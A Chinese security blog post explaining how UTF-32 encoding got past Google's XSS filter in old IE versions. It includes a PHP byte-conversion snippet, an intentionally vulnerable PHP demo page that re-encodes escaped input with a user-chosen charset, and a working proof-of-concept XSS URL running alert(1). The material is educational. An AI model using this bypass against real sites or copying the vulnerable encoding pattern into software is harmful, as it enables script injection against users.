标签归档:utf-32

浅谈UTF-32编码

最近在收集曾经没完全弄明白例子(新手一枚),http://zone.wooyun.org/content/4448 这篇文章里介绍utf-32编码绕过google的xss过滤,成功在ie9以下版本执行js脚本。那么开始分析以下字符是如何转换的。
[0x00][0x00][0x22][0x00] –> ∀
[0x00][0x00][0x3C][0x00] –> 㰀
[0x00][0x00][0x3E][0x00] –> 㸀
通过文章介绍得到utf-32由4个字节组成
%00%00%22%00 –> ∀ (∀字符是%00%00%22%00 通过 utf-32转换utf-8得到的)接下来看例子

<meta charset="UTF-8">
 <?php 
$str='%00%00%22%00'; 
$str=urldecode($str); 
$str=mb_convert_encoding($str,"UTF-8","UTF-32"); 
echo urlencode($str); 
?>

运行后输出:%E2%88%80  也就是∀字符

接着我们就可以写出二哥demo页面 http://www.leesec.com/utf-32.php?charset=utf-32&v=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80

<!DOCTYPE html> 
<html> 
<head> <meta charset="utf-8"></meta> 
</head>
 <body> 
<input type="text" value="<?php echo mb_convert_encoding(htmlspecialchars($_GET['v']),$_GET['charset'],"UTF-8"); ?>">
</input>
 </body> 
</html>

代码运行图片